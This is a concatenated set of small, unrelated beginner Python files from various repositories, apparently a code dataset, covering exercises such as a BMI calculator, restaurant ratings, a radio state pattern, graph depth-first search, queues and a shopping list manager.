f3ce6e92b6c36886d9556bba48268fa62d34a326
utakatano/docker-python-template
/app/src/c2/bmi.py
561
4.375
4
# BMI calculation program weight = float(input("weight(kg)? ")) height = float(input("height(cm)? ")) # BMI calculation height = height / 100 # convert into meter bmi = weight / (height * height) # branch result by BMI value result = "" if bmi < 18.5: result = "skinny type" # if (18.5 <= bmi) and (bmi < 25): if (18.5 <= bmi < 25): result = "standard type" # if (25 <= bmi) and (bmi < 30): if (25 <= bmi < 30): result = "mild obesity" if bmi >= 30: result = "severe obesity" # display result print("BMI :", bmi) print("result :", result)
29ef293f6788b4d70189b5d61e759f6a8b064c68
CaioHoly/Python-3-Mundo-1
/ex0030.py
179
3.921875
4
num = int(input('Digite o número: ')) resto = (num % 2) if resto == 1: print('O número {} é ímpar'.format(num)) else: print('O número {} é par'.format(num))
d9062415573b281be97ab7661df7c6417ba4f188
ambition121/python
/three_changes.py
385
4.25
4
valid=False count=3 passwordlist=('123','234','456','567') while count>0: password=raw_input("Enter your the num's password:") for num in passwordlist: if password == num: valid=True print 'right' break if not valid: print "invalid password" count -=1 continue else: break
f871db53373e6dbccfea841e108fcdf7fb0fd3ef
jacquelineawatts/Dicts_Restaurant_Ratings
/restaurant-ratings.py
3,075
4.28125
4
import sys from random import choice def convert_to_dictionary(): """Read file and creates dictionary key and value pairs.""" filename = open(sys.argv[1]) restaurant_ratings = {} for line in filename: line = line.rstrip() words = line.split(":") restaurant_ratings[words[0]] = words[1] filename.close() return restaurant_ratings def print_rating(restaurant_ratings): """Iterates through restaurant_ratings dictionary, sorts, and prints all items. """ for restaurant, rating in sorted(restaurant_ratings.iteritems()): print "%s is rated at %s." % (restaurant, rating) # "{} is rated as {}".format(restaurant, rating) def add_new_restaurant(restaurant_ratings): """Allows user to input new restaurant and its rating. """ new_restaurant = raw_input("Enter a restaurant you want to rate: ") new_restaurant_rating = raw_input("Enter your rating for {}: ".format(new_restaurant)) restaurant_ratings[new_restaurant] = new_restaurant_rating def update_random_restaurant_rating(restaurant_ratings): """Allows user to update the rating of a randomly picked restaurant from dictionary. """ random_restaurant = choice(restaurant_ratings.keys()) print "The rating of {} is {}.".format(random_restaurant,restaurant_ratings[random_restaurant]) print "What would you like the new rating to be?" updated_rating = raw_input(">>> ") restaurant_ratings[random_restaurant] = updated_rating def update_chosen_restaurant_rating(restaurant_ratings): """Allows user to update the rating of a restaurant of their choice from dictionary. """ print_rating(restaurant_ratings) print "" print "Which restaurant would you like to re-rate?" chosen_restaurant = raw_input(">>>") print "What is the new rating?" updated_rating = raw_input(">>>") restaurant_ratings[chosen_restaurant] = updated_rating def prompt_user(restaurant_ratings): """Allows user to choose from a list of options: print, add, update, or quit. """ while(True): print "" print "What would you like to do:" print "1) See all the ratings (in alphabetical order)" print "2) Add a new restaurant (and rating it)" print "3) Update the rating of a random restaurant" print "4) Update the rating of a restaurant of your choice" print "5) Quit" print "" choice = raw_input(">>") print "" if choice == '1': print_rating(restaurant_ratings) elif choice == '2': add_new_restaurant(restaurant_ratings) elif choice == "3": update_random_restaurant_rating(restaurant_ratings) elif choice == "4": update_chosen_restaurant_rating(restaurant_ratings) elif choice == '5': break else: print "That's not a valid response. Please select 1, 2, or 3." continue restaurant_ratings = convert_to_dictionary() prompt_user(restaurant_ratings)
c3ab8e8d2ea8052030302d866dfcef9e5d3f91a9
luodanping/learn-python-by-coding
/design_pattern/21_state.py
1,749
3.765625
4
#state class State: """Base state. This is to share functionality""" def scan(self): #scan依次调台,会改变状态 """Scan the dial to the next station""" self.pos+=1 if self.pos==len(self.stations): self.pos=0 print("Scaning ... Station is",self.stations[self.pos], self.name) class AmState(State): #Am状态 def __init__(self,radio): self.radio = radio self.stations =["1250","1380","1510"] self.pos=0 self.name="AM" def toggle_amfm(self): print("Switching to FM") self.radio.state=self.radio.fmstate class FmState(State): #Fm状态 def __init__(self,radio): self.radio = radio self.stations =["81.3","89.1","103.9"] self.pos=0 self.name="FM" def toggle_amfm(self): print("Switching to AM") self.radio.state=self.radio.amstate class Radio: """A radio. It has a scan button and AM/FM toggle switch""" def __init__(self): """We have an AM state and an FM state""" self.amstate = AmState(self) #将对象本身传给了状态对象,因此状态对象也时可以改变对象本身的嘛 self.fmstate=FmState(self) self.state=self.amstate def toggle_amfm(self): #允许一个对象在其内部状态改变时改变它的行为。对象看起来似乎修改了它的类。 self.state.toggle_amfm() def scan(self): self.state.scan() #Test our radio out def main(): radio = Radio() actions = [radio.scan]*2 + [radio.toggle_amfm] + [radio.scan]*2 actions*=2 for action in actions: action() if __name__=="__main__": main()
1f71c600c407201e515758e3368072ffb02228ea
Aasthaengg/IBMdataset
/Python_codes/p02694/s905995313.py
195
3.625
4
from decimal import Decimal X = int(input()) n = 0 money = 100 while True: money += int(money * Decimal("0.01")) #print(money) n += 1 if money >= X: print(n) break
524ed49c8d55ad11e49ebfca72cce43e0c41f6c4
yjioni/SSAC_3_Python_2
/12_gender_graph_barh.py
830
3.5
4
import csv import matplotlib.pyplot as plt from tkinter import * from tkinter import filedialog root = Tk() root.filename = filedialog.askopenfilename( title='choose csv file', initialdir='C:/Users/', filetypes=(('csv files', '*.csv'), ('all files', '*.*')) ) f = open(root.filename, 'r', encoding='cp949') data = csv.reader(f) m = [] f = [] area = input('읍명동 단위 입력:') for row in data: if area in row[0]: for i in range(0, 101): m.append(int(row[i+3])) f.append(int(row[-(i+1)])) f.reverse() plt.rc('font', family='Malgun Gothic') plt.title(f'{area} 성별 인구 수') plt.barh(range(101), m) plt.barh(range(101), f) plt.show()
518a7b9d794e15f081cf4b21446bf8e14c82ca4a
anatoly-kor/yap-test
/task_1/precode.py
438
3.9375
4
def make_divider_of(divider): def division_operation(divisible): # Ваш код здесь # Создали функцию div2 = make_divider_of(2) print(div2(10)) # Такой вызов должен вернуть 10/2, то есть 5.0 div5 = make_divider_of(5) print(div5(20)) # Такой вызов должен вернуть 4.0 print(div5(div2(20))) # Такой вызов должен вернуть 2.0
1af3a49c943312f43f2eefe9f50723b5a6e5f258
Rajmanglam/tutorials
/tutorial 53 Single Inheritance.py
2,205
4.4375
4
class employee2(): no__of__leaves=10 def __init__(self,aname,arole,asalary): self.name=aname self.role=arole self.salary=asalary def info(self): return f'the name is {self.name}. salary is {self.salary}' # we know that all functions in a class takes self as default but # if we want it to be something different then we use class methods @classmethod#these types of functions are used for instance variables def changeleaves(cls,no): cls.no__of__leaves=no @classmethod#we had to set 3 parameters for harry1 and rohan1 but we can do it even like this def mystr(cls,string): # k=string.split('-') # return cls(k[0],k[1],k[2]) # you can uncomment the above code and try it also but first let's see a one liner return cls(*string.split('-')) @staticmethod def printgood(string): print('this is good'+string) """Inheritance is the ability to define a new class(child class) that is a modified version of an existing class(parent class) HER WE WILL ONLY LEARN ABOUT SINGLE INHERITENCE""" '''let's understand it with a example we know that harry and rohan are two people whom we have defined using employee class but we also want to create a class that has all features of employee and also tell which programming language does it know then we will use class inheritence like this''' class programmer(employee2):#with this method it will get all code of employee2 def __init__(self, aname, arole, asalary, alang): self.name = aname self.role = arole self.salary = asalary self.language = alang # we do this to add a programmer before the name # now we will write to add language of programmer def prog(self): print(f'the programmer name is {self.name}. salary is {self.salary} and he knows the languages' f'{self.language}') subham=programmer('subham','programmer','55000',['python','java','c++','nodeJS']) ritesh=programmer('Ritesh','programmer','60000',['python','java','react JS']) print(subham.prog()) harry1=employee2('harry','instructer','45000') rohan1=employee2('rohan','worker','30000')
f91c9dd7ea1c66a0a757d32dc00c3e1f0adef7e7
udhayprakash/PythonMaterial
/python3/06_Collections/03_Sets/a_sets_usage.py
1,219
4.40625
4
#!/usr/bin/python3 # -*- coding: utf-8 -*- """ Purpose: Working with Sets Properties of sets - creating using {} or set() - can't store duplicates - sets are unordered - can't be indexed - Empty sets need to be represented using set() - stores only immutable object - basic types, tuple, string - sets are mutable objects """ running_ports = [11, 22, 11, 44, 22, 11] print("type(running_ports)", type(running_ports)) print("len(running_ports) ", len(running_ports)) print("running_ports ", running_ports) print() # Method 1 - To remove duplicates in a list/tuple of elements filtered_list = [] for each_port in running_ports: if each_port in filtered_list: continue filtered_list.append(each_port) print("len(filtered_list) ", len(filtered_list)) print("filtered_list: ", filtered_list) print() unique_ports = {11, 22, 11, 44, 22, 11} print(f"{type(unique_ports) =}") print(f"{len(unique_ports) =}") print(f"{unique_ports =}") print() # Method 2 - using sets to remove duplicates filtered_list = list(set(running_ports)) print("len(filtered_list) ", len(filtered_list)) print("filtered_list: ", filtered_list) print()
ddbf22dac485bbec96581cf1b52fc83641a86d6b
alejarojas19/programacion1
/talleres/recopilatorioExamen2.py/punto1.py
742
3.609375
4
listaDolares = [20000, 30000, 4000, 2500, 1000, 7600 ] preguntaMoneda = """ C- mostar lista en pesos D- mostar lista original en dolares E- mostar lista en euros """ listaPesos = [] for elemento in listaDolares: listaPesos.append(elemento*3700 ) listaEuros = [] for elemento in listaDolares: listaEuros.append(elemento* 0.84) opcionMoneda = input(preguntaMoneda) if (opcionMoneda == "C"): print("mostarndo lista en pesos") print(listaPesos) elif (opcionMoneda == "D"): print("mostarndo lista original") print(listaDolares) elif (opcionMoneda == "E"): print("mostrando lista en euros") print(listaEuros) else: print ("ingrese una opcion valida")
2badeb1d9cd832be27b926b7625b2c3de4728a27
ziqingye0210/AI-with-Pyke
/src/tests/test2.py
1,408
3.828125
4
# -*- coding: utf-8 -*- ##################################################################### # This program is free software. It comes without any warranty, to # # the extent permitted by applicable law. You can redistribute it # # and/or modify it under the terms of the Do What The Fuck You Want # # To Public License, Version 2, as published by Sam Hocevar. See # # http://sam.zoy.org/wtfpl/COPYING for more details. # ##################################################################### from agent import UAgent from object import UObject from universe import Universe from test import Test class Test(Test): def __init__(self): """A basic test where Alice can move, take and put and wants to change the location of an object. Expected result : Alice moves to the item, takes it and moves it.""" alice = UAgent( 'Alice', ['move', 'take', 'put'], [('know', 'Alice', ('location', 'pipo', 0)),], [('know', 'Alice', ('location', 'pipo', 1)),], ) pipo = UObject('pipo') uni = Universe(2) uni.add(alice, 0) uni.add(pipo, 1) self.agents = [alice] self.objects = [pipo] self.universe = uni self.nb_iteration_max = 4 self.test_name = 'Test with Alice changing an object\'s position.'
3abd3cc8f3ad048cd377eb81a0d96ff8ff397fab
mauriciozago/CursoPython3
/Exercicios/ex103.py
361
3.734375
4
def ficha(nome='<desconhecido>', gols=0): print(f'O jogador {nome} fez {gols} gol(s) no campeonato.') jogador = str(input('Nome do Jogador: ')) gol = str(input('Número de Gols: ')) if jogador == '' and gol == '': ficha() elif jogador == '' and gol.isnumeric(): gol = int(gol) ficha(gols=gol) else: gol = int(gol) ficha(jogador, gol)
e0a66c7fd14b1b1a5f036475fd55f0ab5ab03a60
Boris-Rusinov/BASICS_MODULE
/EXAMS/Practice/6 and 7 July 2019/Ex05-Football_Tournament.py
991
4.0625
4
football_team = input() season_total_games = int(input()) if season_total_games < 1: print(f"{football_team} hasn't played any games during this season.") else: season_total_points = 0 total_wins = 0 total_draws = 0 total_losses = 0 win_rate = 0.00 curr_game_end_result = "" for curr_game in range(0, season_total_games): curr_game_end_result = input() if curr_game_end_result == "W": total_wins += 1 season_total_points += 3 elif curr_game_end_result == "D": total_draws += 1 season_total_points += 1 elif curr_game_end_result == "L": total_losses += 1 win_rate = total_wins / season_total_games * 100 print(f"{football_team} has won {season_total_points} points during this season.") print("Total stats:") print(f"## W: {total_wins}") print(f"## D: {total_draws}") print(f"## L: {total_losses}") print(f"Win rate: {win_rate:.2f}%")
981b8601b65e873ed1550ad73fe454469ce1f2e8
my-xh/cs-course-project
/homework/12_1_1.py
1,083
3.546875
4
""" 通用的深度优先搜索 """ from pythonds.graphs import Graph class DFSGraph(Graph): def __init__(self): super().__init__() self.time = 0 # 增加一个time 记录当前时间 def dfs(self): for a_vertex in self: # 初始化所有点节点是白色 a_vertex.setColor('white') a_vertex.setPred(-1) for a_vertex in self: if a_vertex.getColor() == 'white': # 对还是白色的节点进行访问 self.dfsvisit(a_vertex) def dfsvisit(self, startVertex): # 创建单棵深度优先树 startVertex.setColor('grey') # 正在探索 self.time += 1 startVertex.setDiscovery(self.time) # 记录开始时间 for nextVetex in startVertex.getConnections(): if nextVetex.getColor() == 'white': nextVetex.setPred(startVertex) self.dfsvisit(nextVetex) # 递归调用 startVertex.setColor('black') # 探索完毕 self.time += 1 startVertex.setFinish(self.time) # 记录结束时间
79bdd4a43c5eefd0a10d7b3c741d6630f362e913
standrewscollege2018/2020-year-11-classwork-htw0835
/list-sum.py
685
3.96875
4
"""This is the list-sum exercise.""" #declare variables and list int_input = 0 int_list = [] #intro message print("While prompted to input, enter -1 to end program and print results.") #begin while loop while int_input != -1: #recieve input int_input = int(input("Enter a number.\n")) #if the input is not -1 (if it was -1, it would subtract 1 from the final print() without this if statement) if int_input != -1: #add input to list int_list.append(int_input) #repeat this once for each item in list for i in range(0,len(int_list)): #print the current number where i = place in list print(int_list[i]) #print the sum of list print(sum(int_list))
3e63aa4464698d9c254acbc385a426964835fadf
altarimig/week3-session3
/conditional-sentences.py
362
3.6875
4
"""palabras = ["gato", "perro", "ventana", "defenestrado"] for val in palabras: if val == "ventana": break print(val) print("Final!!!")""" ##### RETO ##### lista = [1, 3, 20, 10, 50, 100, 31, 1000] for val in lista: if val == 3: print(val) if val % 2 == 0: print(f"El valor {val} es par") if val == 50: break
40d9e72c863bf1169156fe6d9b64928864da8a58
KoeKuacho/projecteuler_solved_problems
/task_17.py
1,967
3.984375
4
""" Problem 17: Number letter counts If the numbers 1 to 5 are written out in words: one, two, three, four, five, then there are 3 + 3 + 5 + 4 + 4 = 19 letters used in total. If all the numbers from 1 to 1000 (one thousand) inclusive were written out in words, how many letters would be used? NOTE: Do not count spaces or hyphens. For example, 342 (three hundred and forty-two) contains 23 letters and 115 (one hundred and fifteen) contains 20 letters. The use of "and" when writing out numbers is in compliance with British usage. """ lst_numbers = [] units = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen'] tens = ['twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety'] hundreds_thousands = ['hundred', 'thousand'] lst_numbers.extend(units) for i in tens: lst_numbers.append(i) # 20, 30, 40 - 90 for j in units[0:9]: digit = f'{i} {j}' lst_numbers.append(digit) # 21, 31, 41 - 91 for i in hundreds_thousands[:1]: for j in units[0:9]: hundreds = f'{j} {i}' lst_numbers.append(hundreds) # 100 - 900 for u in units: hundreds_u = f'{hundreds} and {u}' lst_numbers.append(hundreds_u) # 101, 102 - 119 for t in tens: hundreds_t = f'{hundreds} and {t}' lst_numbers.append(hundreds_t) # 110, 120 - 190 for uu in units[0:9]: digit = f'{hundreds} and {t}-{uu}' lst_numbers.append(digit) # 121, 131, 141 - 191 lst_numbers.append(f'{units[0]} {hundreds_thousands[1]}') counter_letter = 0 for i in lst_numbers: count = len(i.replace(' ', '').replace('-', '')) counter_letter += count print(lst_numbers) print('Length of list =', len(lst_numbers)) print('Result =', counter_letter)
5cb3b70a7ec7970145fa36df414fc5f0ef9ed5fd
Chatti5115/pythonProject2
/queue_example.py
1,148
4.03125
4
import queue # # Queue() 로 큐 만들기(가장 일반적인 큐, FIFO(First-In, First-Out) # data_queue = queue.Queue() # # data_queue.put("funcoding") # data_queue.put(1) # # print(data_queue.qsize()) # print(data_queue.get()) # print(data_queue.qsize()) # print(data_queue.get()) # # print("----------------------") # # Lifo Queue() 로 큐 만들기(LIFO(Last-In, First-Out) # data_queue11 = queue.LifoQueue() # data_queue11.put("funcoding") # data_queue11.put(1) # print(data_queue11.qsize()) # print(data_queue11.get()) # print(data_queue11.qsize()) # print(data_queue11.get()) # # print("------------------") # #PriorityQueue() # data_queue22 = queue.PriorityQueue() # data_queue22.put((10, "korea")) # data_queue22.put((5, 1)) # data_queue22.put((15, "china")) # print(data_queue22.qsize()) # print(data_queue22.get()) print("------------------") # enqueue dequeue queue_list = list() def enqueue(data): queue_list.append(data) def dequeue(): data = queue_list[0] del queue_list[0] return data for index in range(10): enqueue(index) print(len(queue_list)) print(dequeue()) print(dequeue()) print(dequeue())
d44f71bc7612f2a9f39cedadeb886dfeeca259de
karalyndewalt/number_game
/dictionary.py
4,709
4.40625
4
stores = {"target":["socks", "soap", "detergent", "sponges"], "bi-rite": ["butter", "cake", "cookies", "bread"], "safeway": ["oreos", "soda", "brownies"], "berkeley bowl": ["apples", "oranges", "bananas", "milk"],} def main_menu(): #0 print """ 0 - Main Menu 1 - Show all lists. 2 - Show a specific list. 3 - Add a new shopping list. 4 - Add an item to a shopping list. 5 - Remove an item from a shopping list. 6 - Remove a list by nickname. 7 - Exit when you are done. """ choice = int(raw_input("Choose from the menu options: ")) return choice def show_lists(stores): #1 print stores.items() def show_specific_lists(stores, specific_store): #2 print stores[specific_store] def add_new_list(stores, new_store): #3 if new_store not in stores: stores[new_store]= [] else: print "A list named %s already exists" % new_store return stores def add_item(stores, store_name, item_name): #4 if store_name in stores: shopping_list = stores[store_name] item_name = item_name.lower() if item_name not in shopping_list: shopping_list.append(item_name) print "here is your updated list: ", (item_name, store_name) else: print "This item %s is already on the %s list." % (item_name, store_name) else: print "There is no %s list" % store_name return stores def remove_item(stores, store_name, item_name): #5 if store_name in stores: shopping_list = stores[store_name] item_name = item_name.lower() if item_name in shopping_list: shopping_list.remove(item_name) message = ("You have purachsed %s. Here is your updated list: " % item_name) print message, sorted_shopping_list(stores, store_name) else: print "%s was not on your list." % item_name print " %s has:" % store_name, shopping_list else: print "There is no %s list." %store_name return stores def remove_list(stores, store_to_delete): #6 if store_to_delete in stores: del stores[store_to_delete] print "%s has been removed" % store_to_delete else: print "There was no list named %s" % store_to_delete def exit_lists(): #7 pass def sorted_shopping_list(stores, store_name): if store_name in stores: shopping_list = stores[store_name] shopping_list.sort() return shopping_list else: return "The shopping list %s does not exist" % store_name def main(): while True: choice = main_menu() if choice == 0: continue elif choice == 1: show_lists(stores) elif choice == 2: store_name = raw_input("What list would you like to see? ") print show_specific_lists(stores, store_name) elif choice == 3: new_store = raw_input("""What other store do you need to go to? I won't make you go to the same store twice. I am very sensitive - case sensitive that is... """) add_new_list(stores, new_store) item = raw_input("What do you need from this store? ") while item.upper()!= "X": add_item(stores, new_store, item) item = raw_input("Add another item or press X when done: ") elif choice == 4: list_name = raw_input("What is the name of the list? ") if list_name in stores: item = raw_input("PLease enter an item: ") while item.upper() != 'X': add_item(stores, list_name, item) item = raw_input("Enter another item or press 'X' when done: ") else: print 'There is no %s list.' % list_name elif choice == 5: list_name = raw_input("What is the name of the list? ") if list_name in stores: item = raw_input("""Did you purchase something? What item should I cross off? """) while item.upper() != 'X': remove_item(stores, list_name, item) item = raw_input("Remove anything else? Or press 'X' when done: ") else: print "There is no %s list" % list_name #something here is going wrong elif choice == 6: list_name = raw_input("All done? What list should I remove? ") remove_list(stores, list_name) elif choice == 7: break if __name__ == '__main__': main()